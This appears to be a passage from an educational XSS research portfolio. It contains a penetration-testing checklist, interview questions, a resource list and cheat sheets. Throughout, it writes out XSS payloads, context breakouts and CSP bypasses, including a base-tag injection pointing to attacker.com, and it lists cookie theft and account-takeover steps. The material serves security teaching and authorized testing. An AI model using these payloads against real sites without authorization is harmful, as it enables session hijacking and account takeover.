Root Cause: The `file` parameter is reflected into both a `<div>` and an `<iframe src>` without HTML encoding. Developers often treat embedded viewer parameters as “internal” and skip standard output encoding. The vulnerability is identical to a standard reflected XSS – the embedded context provides no protection.

Remediation: Apply `htmlspecialchars()` / `escape()` to every URL parameter reflected into HTML, regardless of the intended usage. Validate the `file` URL against an allowlist of permitted domains and path patterns.

Chapter 47

XSS Testing Checklist

47.1 Overview

This chapter provides a practical, field-tested checklist for systematic XSS testing during penetration tests and bug bounty hunting. Use it as a structured workflow to ensure no injection point or context is missed.

47.2 Phase 1 – Reconnaissance Checklist

47.2.1 Application Mapping

- [] Browse every page of the application while Burp Suite is intercepting
- [] Log in as multiple user roles (unauthenticated, regular user, admin)
- [] Trigger every error state (404, 403, 500, validation errors)
- [] Use every interactive feature (search, comments, forms, file upload)
- [] Note every URL parameter form field, JSON field, HTTP header
- [] Check mobile/API endpoints separately from the web UI
- [] Review page source (Ctrl+U) for every page – look for JS reading URL params

47.2.2 Input Inventory

For each page, document:

Input	Method	Stored?	Who Sees?
Search query	GET param	No	Requester only
Comment body	POST form	Yes	All visitors
Profile bio	POST JSON	Yes	Profile viewers
Website field	POST form	Yes	All visitors
Username	POST form	Yes	Multiple pages
File upload name	POST multipart	Yes	File listings
HTTP Referer	Header	Sometimes	Log viewers
User-Agent	Header	Sometimes	Admin panels

47.3 Phase 2 – Injection Point Testing Checklist

47.3.1 Step 1 – Confirm Reflection

For every input point:

- [] Submit a unique probe string: `xsstest1234abcd`
- [] Search the response for the probe string
- [] Count how many times and where it appears
- [] Note the exact HTML context for each reflection point

47.3.2 Step 2 – Determine Encoding

- [] Submit: `<>"'{}`
- [] Check which characters are HTML-encoded
- [] Check which are reflected raw
- [] View page source – not just rendered output
- [] Check the JS source for DOM-based reflection

47.3.3 Step 3 – Context Identification

Context	Clue in Response	Test Payload
HTML data state	Between tags	<code><script>alert(1)</script></code>
HTML attribute	Inside <code>value=""</code>	<code>" onmouseover="alert(1)</code>
JS single-quoted	<code>var x = 'INPUT'</code>	<code>'-alert(1)-'</code>
JS double-quoted	<code>var x = "INPUT"</code>	<code>"-alert(1)-"</code>
JS template literal	<code>var x = `INPUT`</code>	<code>\${alert(1)}</code>
URL attribute	Inside <code>href=""</code>	<code>javascript:alert(1)</code>
<code><script></code> block	All quotes escaped	<code></script><script>alert(1)</code>

47.4 Phase 3 – DOM XSS Checklist

- [] Open DevTools Sources – search for `location.search`
- [] Search for `location.hash`
- [] Search for `document.referrer`
- [] Search for `postMessage` event listeners
- [] Search for dangerous sinks: `innerHTML`, `document.write`, `eval`, `location.href = setTimeout(string)`
- [] Enable Burp DOM Invader and browse the application
- [] Check all AJAX/fetch response handling for `innerHTML` sinks
- [] Check `localStorage/sessionStorage` reads that flow to sinks
- [] Test hash-based routing (SPA frameworks often vulnerable)

47.5 Phase 4 – Stored XSS Checklist

- [] For each stored input, find every page that renders it
- [] Test each rendering location independently – encoding may differ
- [] Check admin panels separately – admins often see raw input
- [] Test all file upload names (submit file named `<test>.jpg`)
- [] Test profile fields (bio, username, website, avatar URL)
- [] Test comment sections, forum posts, support tickets
- [] Check if stored content is served in emails (email XSS)
- [] Check if stored content appears in PDF/export features

47.6 Phase 5 – CSP Analysis Checklist

- [] Check for `Content-Security-Policy` header in responses
- [] If no CSP – standard XSS exploitation applies
- [] Check `script-src`: does it contain `'unsafe-inline'`?
- [] Check `script-src`: does it contain `'unsafe-eval'`?
- [] Check if any whitelisted domain has a JSONP endpoint
- [] Check if any whitelisted CDN has writable content
- [] Check `img-src`: is it `*`? (dangling markup exfiltration)
- [] Check if nonce is reflected in the page and reusable
- [] Check if user input reaches the CSP header (Lab 11 pattern)
- [] Check if `frame-ancestors` is set (clickjacking vector)
- [] Use <https://csp-evaluator.withgoogle.com> to check CSP strength

47.7 Phase 6 – Exploitation Checklist

After confirming XSS, escalate systematically:

- [] Use `alert(document.domain)` – confirms execution context
- [] Check `HttpOnly` on session cookies (DevTools Application tab)
- [] If no `HttpOnly`: demonstrate cookie theft with Collaborator
- [] Test CSRF token extraction (fetch `/account` parse token)
- [] Demonstrate account takeover for the report
- [] Check if stored XSS is visible to admins – escalate severity
- [] For Electron apps: check if `nodeIntegration` is enabled

47.8 Phase 7 – Reporting Checklist

- [] Screenshot of alert box with `document.domain` visible
- [] HTTP request containing payload (from Burp HTTP History)
- [] HTTP response showing the injection point
- [] Browser DevTools console showing execution
- [] For cookie theft: Collaborator screenshot showing stolen cookie
- [] CVSS score calculated and justified
- [] Root cause explained (not just "user input not sanitised")
- [] Remediation specific to the technology stack
- [] References: OWASP, CWE, relevant CVEs

Chapter 48

XSS Interview Questions and Answers

48.1 Overview

This chapter covers the technical questions most commonly asked in AppSec engineer, penetration tester, and security researcher interviews. For each question, both the expected answer and the deeper answer that impresses interviewers are provided.

48.2 Fundamentals

48.2.1 Q: What is the difference between reflected, stored, and DOM XSS?

Expected answer: Reflected XSS is immediately reflected from the server, stored XSS is persisted in the database, DOM XSS happens client-side.

Deeper answer:

- Reflected and stored differ in *persistence* and *victim reach*
- DOM XSS differs in *where the vulnerability exists* – the server is irrelevant; the bug is in client JavaScript
- The practical impact of DOM XSS is that server-side WAFs, scanners, and output encoding on the server completely miss it
- Stored XSS is higher severity because it requires no social engineering per victim and often reaches admins who visit content areas

48.2.2 Q: What is the Same-Origin Policy and how does XSS bypass it?

Expected answer: SOP prevents scripts on one origin from reading resources on another. XSS bypasses it by injecting into the target origin.

Deeper answer: The SOP is defined by scheme + host + port. XSS is dangerous specifically because the injected script runs *inside* the target origin – it does not need to cross origins at all. It has the same privileges as any legitimate script on that page: it can read cookies (unless HttpOnly), read page content, make authenticated requests, and access localStorage. This is why CSRF tokens are useless against XSS – the XSS payload and the CSRF-protected endpoint share the same origin.

48.2.3 Q: Why is output encoding better than input sanitisation?

Expected answer: Output encoding is context-specific and reversible.

Deeper answer:

- Input sanitisation is lossy – it permanently modifies data, which may be needed in its original form later
- The correct encoding depends on the output context (HTML, JS, URL, CSS), which is not known at input time
- Output encoding is not lossy – the data is stored raw and rendered safely for whatever context it appears in
- Input sanitisation often creates a false sense of security – developers believe the data is “clean” and skip output encoding

48.3 Technical Depth ---

48.3.1 Q: How does the HTML parser interact with the JavaScript engine?

Answer: The HTML parser processes the document sequentially. When it encounters a `<script>` tag, it switches to “Script data state” and collects all content until `</script>` is found (case-insensitive). It then hands that block to the JavaScript engine. The HTML parser does not process the content inside the script block – the JS engine does. This is why `<` inside a `<script>` block is the literal characters `<`, not `<` – the HTML entity decoder only runs on content the HTML parser sees in data state, not on content handed to the JS engine.

This is also why Lab 07 works: the HTML parser’s scan for `</script>` takes priority over the JS engine’s string context. Injecting `</script>` inside a JS string closes the script block at the HTML parser level – the JS engine never even sees the injection.

48.3.2 Q: What is the Source-Sink model and why does it matter for DOM XSS?

Answer: In DOM XSS analysis, a *source* is where attacker-controlled data enters the JavaScript environment (`location.search`, `postMessage`, `document.referrer`). A *sink* is where data is used dangerously (`innerHTML`, `eval()`, `location.href`).

The model matters because DOM XSS cannot be found by inspecting HTTP responses.

You must trace data flow through JavaScript – from source to sink – looking for paths where attacker data reaches a dangerous operation without sanitisation. This is what tools like Burp DOM Invader and CodeQL do programmatically.

48.3.3 Q: How can XSS bypass a Content Security Policy?

Answer (5 main techniques):

1. **JSONP endpoint on whitelisted domain:** If `script-src` allows `cdn.example.com` and that CDN has a JSONP endpoint, inject `<script src="cdn.example.com/api?callback=alert">`
2. **Open redirect on whitelisted domain:** Chain an open redirect to serve attacker JS through a trusted domain
3. **Base tag injection:** Inject `<base href="https://attacker.com">` to redirect all relative script URLs
4. **Header injection:** If user input reaches the CSP header (Lab 11), inject `script-src-elem 'unsafe-inline'`
5. **Dangling markup:** When scripts are fully blocked, use `img-src *` to exfiltrate data via image requests (Lab 10)

48.3.4 Q: What is prototype pollution and how can it lead to XSS?

Answer: Prototype pollution is when an attacker can write to `Object.prototype` causing all objects to inherit attacker-controlled properties. It leads to XSS when application code reads a property from a plain object – which may now be polluted – and passes it to a dangerous sink like `innerHTML` or `eval`

Example: A `merge` function processes user JSON containing `{"__proto__":{"template":"<img src=x onerror=alert(1)>"}}`. Now every plain object has a `template` property. When the rendering code does `container.innerHTML = options.template || defaultTemplate`, it renders the injected payload.

48.4 AppSec Engineer Questions

48.4.1 Q: How would you add XSS protection to a legacy PHP application?

Answer:

1. **Immediate:** Audit all `echo print` statements for variables from `$_GET`, `$_POST`, `$_COOKIE`
2. **Short-term:** Wrap all user data output in `htmlspecialchars($var, ENT_QUOTES, 'UTF-8')`
3. **Medium-term:** Migrate to a template engine (Twig, Blade) with auto-escaping; replace manual HTML building with `{{ var }}`

4. **For JavaScript context:** Replace string interpolation in `<script>` blocks with `json_encode($var, JSON_HEX_TAG | JSON_HEX_APOS)`
5. **For URL attributes:** Add scheme validation – only permit `http` and `https`
6. **Defence-in-depth:** Deploy CSP header (`script-src 'self'`) and set `HttpOnly`, `Secure`, `SameSite=Lax` on cookies
7. **Process:** Add XSS-specific test cases to CI/CD pipeline; integrate SAST tool (Semgrep, Psalm) to catch new instances

48.4.2 Q: A developer says CSP protects against XSS. How do you respond?

Answer: CSP is an important defence-in-depth layer but it is not a replacement for output encoding. The problems with relying solely on CSP:

- CSP can be bypassed (JSONP endpoints, open redirects, header injection, dangling markup for data exfiltration)
- Misconfigured CSP (`unsafe-inline`, wildcard sources) provides minimal protection
- CSP does not prevent all XSS impact even when working – dangling markup can exfiltrate sensitive data without executing scripts
- CSP is a browser-enforced control; a WAF or scanner bypass before the browser means CSP never executes
- Output encoding *cannot be bypassed* – correctly encoded data is never interpreted as code, full stop

The correct answer is: output encoding is mandatory; CSP is an additional layer.

Chapter 49

Further Research Resources

49.1 Essential Reading

49.1.1 Primary Research Sources

PortSwigger Research

<https://portswigger.net/research> – The most important source for cutting-edge XSS research. Papers on prototype pollution via CSS, DOM clobbering, CSP bypasses, and mutation XSS (mXSS) all originated here.

Google Project Zero

<https://googleprojectzero.blogspot.com> – Deep technical analysis of browser vulnerabilities, JS engine bugs, and complex XSS chains.

OWASP XSS Cheat Sheets

<https://cheatsheetseries.owasp.org> – Definitive developer guidance for XSS prevention across all contexts and languages.

HackTricks

<https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting> – Comprehensive payload collections and context-specific bypass techniques.

PayloadsAllTheThings

<https://github.com/swisskyrepo/PayloadsAllTheThings> – Community-maintained payload and bypass collection, regularly updated with new techniques.

49.1.2 Recommended Labs and Practice Platforms

PortSwigger Web Academy

<https://portswigger.net/web-security/cross-site-scripting> – The labs documented in this portfolio. Free, browser-based, covers every XSS variant.

DVWA	Damn Vulnerable Web Application – locally deployable vulnerable application. Good for testing payloads in a controlled environment.
HackTheBox	https://www.hackthebox.com – Real-world style machines with web vulnerabilities including XSS chains and filter bypasses.
TryHackMe	https://tryhackme.com – Guided rooms covering XSS from basics to advanced. Good for structured learning.
XSS Game (Google)	https://xss-game.appspot.com – Classic browser-based XSS puzzles covering multiple contexts.
alert(1) to win	https://alf.nu/alert1 – Advanced XSS challenges requiring deep understanding of parsing contexts and browser behaviour.

49.1.3 Tools

Burp Suite	https://portswigger.net/burp – Industry standard web app testing proxy. Community edition is free. Professional adds active scanner and Collaborator. Essential for all web security testing.
DOMPurify	https://github.com/cure53/DOMPurify – The standard HTML sanitisation library. Use whenever you must render HTML from untrusted sources.
CSP Evaluator	https://csp-evaluator.withgoogle.com – Google tool that analyses CSP headers for weaknesses and bypass potential.
XSS Hunter	https://xsshunter.trufflesecurity.com – Blind XSS payload delivery platform. Sends callbacks when payloads fire, including page screenshot, DOM, cookies, and localStorage contents.
Semgrep	https://semgrep.dev – Static analysis with community rules for XSS sink detection in Python, JavaScript, PHP, and more. Integrates with CI/CD.
CodeQL	https://codeql.github.com – GitHub’s semantic code analysis engine. XSS queries trace source-to-sink data flows across entire codebases.

49.1.4 Key Papers and Write-Ups to Read

The Samy Worm (2005)	https://samy.pl/myspace/tech.html – Original technical write-up of the MySpace stored XSS worm. Essential reading for understanding wormable XSS.
mXSS – Mutation XSS	PortSwigger Research – How browsers mutate sanitised HTML during re-parsing, bypassing DOMPurify and other sanitisers.

Bypassing CSP Using Polyglot JPEGs

PortSwigger Research – Creative CSP bypass using image files that contain valid JavaScript.

DOM Clobbering Strikes Back

PortSwigger Research – Comprehensive analysis of DOM clobbering gadgets in popular JavaScript libraries.

Universal XSS in Chrome

Google Project Zero – Analysis of browser-level XSS vulnerabilities affecting all websites rendered by the browser.

49.2 Certification Paths

For career progression in web security:

Certification	Provider	Relevance to XSS
BSCP	PortSwigger	Directly tests XSS labs from this portfolio
eWPT	eLearnSecurity	Practical web penetration test including XSS
OSCP	Offensive Security	Broader pentesting, includes web vulnerabilities
GWAPT	GIAC	Web application pentesting with XSS focus
CBBH	HackTheBox	Bug bounty focused, includes XSS methodology

49.3 Community and Bug Bounty

HackerOne Hactivity

<https://hackerone.com/hactivity> – Public disclosed bug bounty reports. Reading real XSS reports shows how researchers document findings professionally.

Bugcrowd Vulnerability Rating Taxonomy

<https://bugcrowd.com/vulnerability-rating-taxonomy> – How bug bounty platforms rate XSS severity. Useful for calibrating your own CVSS scores.

InfoSecTwitter / Infosec.exchange

Follow PortSwigger Research, Project Zero, and individual researchers (albinowax, garethheyas, RenwaX23) for real-time XSS research.

Appendix – Quick Reference

XSS Context Cheat Sheet

Context	Breakout Char	Technique
HTML data state	None needed	Direct <code><script></code> injection
HTML attribute (double-quoted)	"	<code>" onX="payload</code>
HTML attribute (single-quoted)	'	<code>' onX='payload</code>
HTML attribute (unquoted)	Space / >	<code>onX=payload></code>
Inside <code><script></code> block	" or ' or ;	String termination
URL attribute (<code>href src</code>)	N/A	<code>javascript:alert(1)</code>
CSS context	}	Limited, mostly legacy

HTML Encoding Reference

Char	HTML Entity	Required In	Notes
<	<code>&lt;</code>	All contexts	Prevents tag injection
>	<code>&gt;</code>	All contexts	Closes tag breakout
&	<code>&amp;</code>	All contexts	Prevents entity abuse
"	<code>&quot;</code>	Attribute (double)	Prevents attr breakout
'	<code>&#x27;</code>	Attribute (single)	<code>ENT_QUOTES</code> in PHP
/	<code>&#x2F;</code>	Extra safety	Optional

Function Quick Reference

Language	Safe Function	Notes
Python	<code>markupsafe.escape()</code>	Encodes all 5 chars
PHP	<code>htmlspecialchars(\$v, ENT_QUOTES, 'UTF-8')</code>	ENT_QUOTES is essential
Node.js	Template engine (EJS) <code><%= %></code>	Never use <code><%- %></code> on user input
JavaScript	<code>element.textContent</code>	For text output only
Jinja2	<code>{{ var }}</code>	Auto-escaped by default

*This portfolio is part of an ongoing XSS research series.
All techniques are for educational purposes and authorized security testing only.
Next: Lab 03 Stored XSS into HTML Context*